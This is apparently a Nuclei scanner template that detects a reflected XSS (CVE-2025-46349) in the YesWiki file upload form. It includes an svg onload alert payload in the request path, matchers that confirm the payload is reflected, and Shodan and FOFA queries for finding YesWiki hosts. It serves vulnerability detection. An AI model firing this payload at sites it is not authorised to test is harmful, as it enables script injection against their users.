id: CVE-2025-46349 info: name: YesWiki Reflected XSS via File Upload author: Mahmoud Gamal severity: high description: | YesWiki is a wiki system written in PHP. Prior to version 4.5.4, YesWiki is vulnerable to reflected XSS in the file upload form. This vulnerability allows any malicious unauthenticated user to create a link that can be clicked on by the victim to perform arbitrary actions. This issue has been patched in version 4.5.4. impact: | Attackers can execute arbitrary scripts in the victim's browser, potentially leading to session hijacking or defacement. remediation: | Update to version 4.5.4 or later. reference: - https://github.com/YesWiki/yeswiki/security/advisories/GHSA-2f8p-qqx2-gwr2 - https://nvd.nist.gov/vuln/detail/CVE-2025-46349 classification: cve-id: CVE-2025-46349 epss-score: 0.00542 epss-percentile: 0.6802 cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 metadata: max-request: 1 shodan-query: html:"yeswiki" fofa-query: body="yeswiki" tags: cve,cve2025,xss,yeswiki http: - method: GET path: - "{{BaseURL}}/?PagePrincipale/upload&file=%22%3E%3Csvg/onload=alert(document.domain)%3E" matchers: - type: dsl dsl: - 'contains(body, "Upload form for file \">")' - 'contains(content_type, "text/html")' - 'status_code == 200' condition: and # digest: 4b0a00483046022100e65fd6e5d86a837553eb53901781ada4e859040e6accff1d88b177fff4270c2d0221008e936ba282ca66617be178e2ddec2b37cfa1582643cfac20ce6f1cf09db6ec79:922c64590222798bb761d5b6d8e72950